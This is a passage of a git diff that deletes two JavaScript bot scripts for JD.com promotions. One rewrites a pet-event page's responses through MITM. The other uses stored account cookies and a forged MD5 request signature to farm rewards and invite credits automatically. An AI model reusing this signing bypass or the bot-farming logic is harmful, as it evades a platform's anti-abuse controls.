this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} - diff --git a/activity/jd_petTreasureBox.js b/activity/jd_petTreasureBox.js deleted file mode 100644 index 2d0e69b..0000000 --- a/activity/jd_petTreasureBox.js +++ /dev/null @@ -1,62 +0,0 @@ -/* -更新时间:2020-11-12 -活动入口:京东APP我的-更多工具-宠汪汪 -从github@Zero-S1搬的[https://github.com/Zero-S1/JD_tools/blob/master/jbp.js] -【宠汪汪聚宝盆辅助脚本】 -1、进入聚宝盆,显示本轮狗粮池投入总数,方便估算 -2、可能有两位数误差,影响不大 -3、聚宝盆最下方显示上轮前六名的投入狗粮,收入积分,以及纯收益(即:收入积分 - 投入狗粮) -new Env('聚宝盆投狗粮辅助');//此处忽略即可,为自动生成iOS端软件配置文件所需 -[MITM] -hostname = jdjoy.jd.com,draw.jdfcloud.com - -==========Surge============= -[Script] -聚宝盆投狗粮辅助 = type=http-response,pattern=^https:\/\/jdjoy\.jd\.com\/pet\/getPetTreasureBox|^https:\/\/draw\.jdfcloud\.com\/\/pet\/getPetTreasureBox,requires-body=1,max-size=0,script-path=jd_petTreasureBox.js - -===================Quantumult X===================== -[rewrite_local] -^https:\/\/jdjoy\.jd\.com\/pet\/getPetTreasureBox|^https:\/\/draw\.jdfcloud\.com\/\/pet\/getPetTreasureBox url script-response-body jd_petTreasureBox.js - -=====================Loon===================== -[Script] -http-response ^https:\/\/jdjoy\.jd\.com\/pet\/getPetTreasureBox|^https:\/\/draw\.jdfcloud\.com\/\/pet\/getPetTreasureBox script-path=jd_petTreasureBox.js, requires-body=true, timeout=3600, tag=聚宝盆投狗粮辅助 - -*/ -let body = $response.body; -try { - body = JSON.parse(body) - food = body['data']['food'] - function f(v) { - return (v < 0) ? v : `+${v}`; - } - var sum = 0 - lastHourWinInfos = body["data"]["lastHourWinInfos"] - for (var i in lastHourWinInfos) { - sum += lastHourWinInfos[i]["petCoin"] - } - for (var i in lastHourWinInfos) { - body["data"]["lastHourWinInfos"][i]["petCoin"] = `{${lastHourWinInfos[i]["food"]}} [${lastHourWinInfos[i]["petCoin"]}] (${f(lastHourWinInfos[i]["petCoin"] - lastHourWinInfos[i]["food"])}) ` - } - - body["data"]["lastHourWinInfos"].unshift({ - 'pin': "", - 'nickName': '', - 'investHour': lastHourWinInfos[0]['investHour'], - 'stage': '2', - 'food': 0, - 'rank': 0, - 'foodDif': "", - 'petCoin': '{投} [收入] (纯收入)', - 'userTag': "", - 'win': true - }) - lastTurnFood = parseInt(sum / 0.09 * 0.91) - body['data']['food'] = `${food} (+${food - lastTurnFood})` - body = JSON.stringify(body) -} catch (e) { - console.log(e) -} finally { - $done({ body }) -} - diff --git a/activity/jd_pubg.js b/activity/jd_pubg.js deleted file mode 100644 index ffa9474..0000000 --- a/activity/jd_pubg.js +++ /dev/null @@ -1,514 +0,0 @@ -/* -PUBG ,运行时间会比较久,Surge请加大timeout时间 -脚本会给内置的码进行助力 -活动于2020-12-13日结束 -活动地址:https://starsingle.m.jd.com/static/index.html#/?fromChangeSkinNum=PUBG -已支持IOS双京东账号,Node.js支持N个京东账号 -脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js -============Quantumultx=============== -[task_local] -#PUBG -10 0 * * * jd_pubg.js, tag=PUBG, enabled=true - -================Loon============== -[Script] -cron "10 0 * * *" script-path=jd_pubg.js,tag=PUBG - -===============Surge================= -PUBG = type=cron,cronexp="10 0 * * *",wake-system=1,timeout=3600,script-path=jd_pubg.js - -============小火箭========= -PUBG = type=cron,script-path=jd_pubg.js, cronexpr="10 0 * * *", timeout=3600, enable=true - */ -const $ = new Env('PUBG'); -!function(n) { - "use strict"; - function t(n, t) { - var r = (65535 & n) + (65535 & t); - return (n >> 16) + (t >> 16) + (r >> 16) << 16 | 65535 & r - } - function r(n, t) { - return n << t | n >>> 32 - t - } - function e(n, e, o, u, c, f) { - return t(r(t(t(e, n), t(u, f)), c), o) - } - function o(n, t, r, o, u, c, f) { - return e(t & r | ~t & o, n, t, u, c, f) - } - function u(n, t, r, o, u, c, f) { - return e(t & o | r & ~o, n, t, u, c, f) - } - function c(n, t, r, o, u, c, f) { - return e(t ^ r ^ o, n, t, u, c, f) - } - function f(n, t, r, o, u, c, f) { - return e(r ^ (t | ~o), n, t, u, c, f) - } - function i(n, r) { - n[r >> 5] |= 128 << r % 32, - n[14 + (r + 64 >>> 9 << 4)] = r; - var e, i, a, d, h, l = 1732584193, g = -271733879, v = -1732584194, m = 271733878; - for (e = 0; e < n.length; e += 16) - i = l, - a = g, - d = v, - h = m, - g = f(g = f(g = f(g = f(g = c(g = c(g = c(g = c(g = u(g = u(g = u(g = u(g = o(g = o(g = o(g = o(g, v = o(v, m = o(m, l = o(l, g, v, m, n[e], 7, -680876936), g, v, n[e + 1], 12, -389564586), l, g, n[e + 2], 17, 606105819), m, l, n[e + 3], 22, -1044525330), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 4], 7, -176418897), g, v, n[e + 5], 12, 1200080426), l, g, n[e + 6], 17, -1473231341), m, l, n[e + 7], 22, -45705983), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 8], 7, 1770035416), g, v, n[e + 9], 12, -1958414417), l, g, n[e + 10], 17, -42063), m, l, n[e + 11], 22, -1990404162), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 12], 7, 1804603682), g, v, n[e + 13], 12, -40341101), l, g, n[e + 14], 17, -1502002290), m, l, n[e + 15], 22, 1236535329), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 1], 5, -165796510), g, v, n[e + 6], 9, -1069501632), l, g, n[e + 11], 14, 643717713), m, l, n[e], 20, -373897302), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 5], 5, -701558691), g, v, n[e + 10], 9, 38016083), l, g, n[e + 15], 14, -660478335), m, l, n[e + 4], 20, -405537848), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 9], 5, 568446438), g, v, n[e + 14], 9, -1019803690), l, g, n[e + 3], 14, -187363961), m, l, n[e + 8], 20, 1163531501), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 13], 5, -1444681467), g, v, n[e + 2], 9, -51403784), l, g, n[e + 7], 14, 1735328473), m, l, n[e + 12], 20, -1926607734), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 5], 4, -378558), g, v, n[e + 8], 11, -2022574463), l, g, n[e + 11], 16, 1839030562), m, l, n[e + 14], 23, -35309556), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 1], 4, -1530992060), g, v, n[e + 4], 11, 1272893353), l, g, n[e + 7], 16, -155497632), m, l, n[e + 10], 23, -1094730640), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 13], 4, 681279174), g, v, n[e], 11, -358537222), l, g, n[e + 3], 16, -722521979), m, l, n[e + 6], 23, 76029189), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 9], 4, -640364487), g, v, n[e + 12], 11, -421815835), l, g, n[e + 15], 16, 530742520), m, l, n[e + 2], 23, -995338651), v = f(v, m = f(m, l = f(l, g, v, m, n[e], 6, -198630844), g, v, n[e + 7], 10, 1126891415), l, g, n[e + 14], 15, -1416354905), m, l, n[e + 5], 21, -57434055), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 12], 6, 1700485571), g, v, n[e + 3], 10, -1894986606), l, g, n[e + 10], 15, -1051523), m, l, n[e + 1], 21, -2054922799), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 8], 6, 1873313359), g, v, n[e + 15], 10, -30611744), l, g, n[e + 6], 15, -1560198380), m, l, n[e + 13], 21, 1309151649), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 4], 6, -145523070), g, v, n[e + 11], 10, -1120210379), l, g, n[e + 2], 15, 718787259), m, l, n[e + 9], 21, -343485551), - l = t(l, i), - g = t(g, a), - v = t(v, d), - m = t(m, h); - return [l, g, v, m] - } - function a(n) { - var t, r = "", e = 32 * n.length; - for (t = 0; t < e; t += 8) - r += String.fromCharCode(n[t >> 5] >>> t % 32 & 255); - return r - } - function d(n) { - var t, r = []; - for (r[(n.length >> 2) - 1] = void 0, - t = 0; t < r.length; t += 1) - r[t] = 0; - var e = 8 * n.length; - for (t = 0; t < e; t += 8) - r[t >> 5] |= (255 & n.charCodeAt(t / 8)) << t % 32; - return r - } - function h(n) { - return a(i(d(n), 8 * n.length)) - } - function l(n, t) { - var r, e, o = d(n), u = [], c = []; - for (u[15] = c[15] = void 0, - o.length > 16 && (o = i(o, 8 * n.length)), - r = 0; r < 16; r += 1) - u[r] = 909522486 ^ o[r], - c[r] = 1549556828 ^ o[r]; - return e = i(u.concat(d(t)), 512 + 8 * t.length), - a(i(c.concat(e), 640)) - } - function g(n) { - var t, r, e = ""; - for (r = 0; r < n.length; r += 1) - t = n.charCodeAt(r), - e += "0123456789abcdef".charAt(t >>> 4 & 15) + "0123456789abcdef".charAt(15 & t); - return e - } - function v(n) { - return unescape(encodeURIComponent(n)) - } - function m(n) { - return h(v(n)) - } - function p(n) { - return g(m(n)) - } - function s(n, t) { - return l(v(n), v(t)) - } - function C(n, t) { - return g(s(n, t)) - } - function A(n, t, r) { - return t ? r ? s(t, n) : C(t, n) : r ? m(n) : p(n) - } - $.md5 = A -}(this); - -const notify = $.isNode() ? require('../sendNotify') : ''; -//Node.js用户请在jdCookie.js处填写京东ck; -const jdCookieNode = $.isNode() ? require('../jdCookie.js') : ''; -let jdNotify = true;//是否关闭通知,false打开通知推送,true关闭通知推送 -const randomCount = $.isNode() ? 20 : 5; -//IOS等用户直接用NobyDa的jd cookie -let cookiesArr = [], cookie = '', message; -if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]) - }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; -} else { - cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); -} -const JD_API_HOST = 'https://starsingle.m.jd.com/guardianstar/'; -const inviteCodes = ['65561ad5-af72-4d1c-a5be-37b3de372b67@2d5f579d-e6d1-479e-931f-c275d602caf5@a3551e1d-fb07-40f0-b9ad-d50e4b480098@696cfa20-3719-442a-a331-0e07beaeb375@718868ed-2202-465d-b3a4-54e76b30d02a','65561ad5-af72-4d1c-a5be-37b3de372b67@2d5f579d-e6d1-479e-931f-c275d602caf5'] -!(async () => { - await requireConfig(); - if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); - return; - } - for (let i = 0; i < cookiesArr.length; i++) { - if (cookiesArr[i]) { - cookie = cookiesArr[i]; - $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) - $.index = i + 1; - $.isLogin = true; - $.nickName = ''; - message = ''; - await TotalBean(); - console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); - if (!$.isLogin) { - $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); - - if ($.isNode()) { - await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); - } - continue - } - await shareCodesFormat(); - await jdHealth() - } - } -})() - .catch((e) => { - $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') - }) - .finally(() => { - $.done(); - }) -async function jdHealth() { - $.bean = 0 - await helpFriends(); - await taskList(); - message += `已做完任务,共计获得京豆 ${$.bean}\n` - await showMsg(); -} - -function showMsg() { - return new Promise(resolve => { - if (!jdNotify) { - $.msg($.name, '', `${message}`); - } else { - $.log(`京东账号${$.index}${$.nickName}\n${message}`); - } - resolve() - }) -} -async function helpFriends() { - for (let code of $.newShareCodes) { - if (!code) continue - const helpRes = await helpFriend(code); - } -} - -function taskList(get=1) { - return new Promise(resolve => { - $.get(taskUrl("getHomePage", ), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - let vo = data.data[0] - if (vo.shareId) console.log(`您的${$.name}好友助力码为:${vo.shareId}`) - for (let i = 0; i< vo.venueList.length;++i){ - let venue = vo.venueList[i] - if(venue.venueStatus === 1) { - console.log(`【浏览会场】`) - await doTask(`starId=PUBG&type=venue&id=${venue.venueId}&status=1`) - await $.wait(10000) - await doTask(`starId=PUBG&type=venue&id=${venue.venueId}&status=2`) - } - } - for (let i = 0; i< vo.productList.length;++i){ - let product = vo.productList[i] - if(product.productStatus === 1) { - console.log(`【浏览商品】去浏览商品 ${product.productName}`) - await doTask(`starId=PUBG&type=product&id=${product.productId}&status=1`) - await $.wait(10000) - await doTask(`starId=PUBG&type=product&id=${product.productId}&status=2`) - } if(product.productStatus === 2) { - console.log(`【浏览商品】浏览商品 ${product.productName}未领奖,去领奖`) - await doTask(`starId=PUBG&type=product&id=${product.productId}&status=2`) - } else{ - console.log(`【浏览商品】${product.productName}已做过`) - } - } - for (let i = 0; i< vo.shopList.length;++i){ - let shop = vo.shopList[i] - if(shop.shopStatus === 0 || shop.shopStatus === 1) { - console.log(`【关注店铺】去关注店铺 ${shop.shopName}`) - await doTask(`starId=PUBG&type=shop&id=${shop.shopId}&status=1`) - await $.wait(10000) - await doTask(`starId=PUBG&type=shop&id=${shop.shopId}&status=2`) - } if(shop.shopStatus === 2) { - console.log(`【关注店铺】关注店铺 ${shop.shopName}未领奖,去领奖`) - await doTask(`starId=PUBG&type=shop&id=${shop.shopId}&status=2`) - }else{ - console.log(`【关注店铺】${shop.shopName} 已做过`) - } - } - - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function helpFriend(code) { - let body = `shareId=${code}` - return new Promise(resolve => { - $.post(taskPostUrl(body,'doSupport'), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - if(data.code === 200){ - console.log(`助力好友 ${code} 成功`) - }else{ - console.log(`助力好友 ${code} 失败, ${data.msg}`) - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function doTask(body) { - return new Promise(resolve => { - $.post(taskPostUrl(body), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - if (data.code === 200){ - if(data.data.bean){ - console.log(`任务完成,获得京豆 ${data.data.bean}`) - message += `任务完成,获得京豆 ${data.data.bean}\n` - $.bean += data.data.bean - } else{ - console.log(`任务领取完成`) - } - } else if(data.code === 1005){ - console.log(`任务已做过`) - } else{ - console.log(`未知错误,${data.msg}`) - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function readShareCode() { - console.log(`开始`) - return new Promise(async resolve => { - $.get({url: `http://api.turinglabs.net/api/v1/jd/jdapple/read/${randomCount}/`}, (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (data) { - console.log(`随机取${randomCount}个码放到您固定的互助码后面(不影响已有固定互助)`) - data = JSON.parse(data); - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - // await $.wait(2000); - // resolve() - }) -} -//格式化助力码 -function shareCodesFormat() { - return new Promise(async resolve => { - // console.log(`第${$.index}个京东账号的助力码:::${$.shareCodesArr[$.index - 1]}`) - $.newShareCodes = []; - if ($.shareCodesArr[$.index - 1]) { - $.newShareCodes = $.shareCodesArr[$.index - 1].split('@'); - } else { - console.log(`由于您第${$.index}个京东账号未提供shareCode,将采纳本脚本自带的助力码\n`) - const tempIndex = $.index > inviteCodes.length ? (inviteCodes.length - 1) : ($.index - 1); - $.newShareCodes = inviteCodes[tempIndex].split('@'); - } - const readShareCodeRes = null //await readShareCode(); - if (readShareCodeRes && readShareCodeRes.code === 200) { - $.newShareCodes = [...new Set([...$.newShareCodes, ...(readShareCodeRes.data || [])])]; - } - console.log(`第${$.index}个京东账号将要助力的好友${JSON.stringify($.newShareCodes)}`) - resolve(); - }) -} -function requireConfig() { - return new Promise(resolve => { - console.log(`开始获取${$.name}配置文件\n`); - //Node.js用户请在jdCookie.js处填写京东ck; - const shareCodes = [] //$.isNode() ? require('./jdSplitShareCodes.js') : ''; - console.log(`共${cookiesArr.length}个京东账号\n`); - $.shareCodesArr = []; - if ($.isNode()) { - Object.keys(shareCodes).forEach((item) => { - if (shareCodes[item]) { - $.shareCodesArr.push(shareCodes[item]) - } - }) - } - console.log(`您提供了${$.shareCodesArr.length}个账号的${$.name}助力码\n`); - resolve() - }) -} -function getTs() { - return new Date().getTime() + new Date().getTimezoneOffset() * 60 * 1000 + 8 * 60 * 60 * 1000 -} -function sign(t,e,n) { - var a = "" - , i = n.split("?")[1] || ""; - if (t) { - if ("string" == typeof t) - a = t + i; - else if ("object" == typeof (t)) { - var r = []; - for (var s in t) - r.push(s + "=" + t[s]); - a = r.length ? r.join("&") + i : i - } - } else - a = i; - if (a) { - var o = a.split("&").sort().join(""); - return $.md5(o + e) - } - return $.md5(e) -} - -function taskUrl(function_id, body = {}) { - let t = getTs() - return { - url: `${JD_API_HOST}${function_id}?t=${t}`, - headers: { - "Cookie": cookie, - 'accept': 'application/json, text/plain, */*', - 'accept-encoding': 'gzip, deflate, br', - 'accept-language': 'zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6', - 'cache-control': 'no-cache', - "origin": "https://starsingle.m.jd.com", - 'Content-Type': 'application/x-www-form-urlencoded', - 'dnt': '1', - 'pragma': 'no-cache', - 'referer': 'https://starsingle.m.jd.com/static/index.html', - 'timestamp': `${t}`, - 'sign': sign(null,`07035cabb557f096${t}`,`/guardianstar/${function_id}?t=${t}`), - "User-Agent": 'Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88'//$.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), - } - } -} -function taskPostUrl(body = "{}", functionId = 'doTask') { - let t = getTs() - let url = `https://starsingle.m.jd.com/guardianstar/${functionId}`; - return { - url, - body: `${body}&t=${t}`, - headers: { - "Cookie": cookie, - 'accept': 'application/json, text/plain, */*', - 'accept-encoding': 'gzip, deflate, br', - 'accept-language': 'zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6', - 'cache-control': 'no-cache', - "origin": "https://starsingle.m.jd.com", - 'Content-Type': 'application/x-www-form-urlencoded', - 'dnt': '1', - 'pragma': 'no-cache', - 'referer': 'https://starsingle.m.jd.com/static/index.html', - 'timestamp': `${t}`, - 'sign': sign(`${body}&t=${t}`,`07035cabb557f096${t}`,`/guardianstar/doTask`), - "User-Agent": 'Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88'//$.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), - } - } -} -function TotalBean() { - return new Promise(async resolve => { - const options = { - "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, - "headers": { - "Accept": "application/json,text/plain, */*", - "Content-Type": "application/x-www-form-urlencoded", - "Accept-Encoding": "gzip, deflate, br", - "Accept-Language": "zh-cn", - "Connection": "keep-alive", - "Cookie": cookie, - "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") - } - } - $.post(options, (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (data) { - data = JSON.parse(data); - if (data['retcode'] === 13) { - $.isLogin = false; //cookie过期 - return - } - if (data['retcode'] === 0) { - $.nickName = (data['base'] && data['base'].nickname) || $.UserName; - } else { - $.nickName = $.UserName - } - } else { - console.log(`京东服务器返回空数据`) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function safeGet(data) { - try { - if (typeof JSON.parse(data) == "object") { - return true; - } - } catch (e) { - console.log(e); - console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); - return false; - } -} -function jsonParse(str) { - if (typeof str == "string") { - try { - return JSON.parse(str); - } catch (e) { - console.log(e); - $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') - return []; - } - } -} -// prettier-ignore -function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const 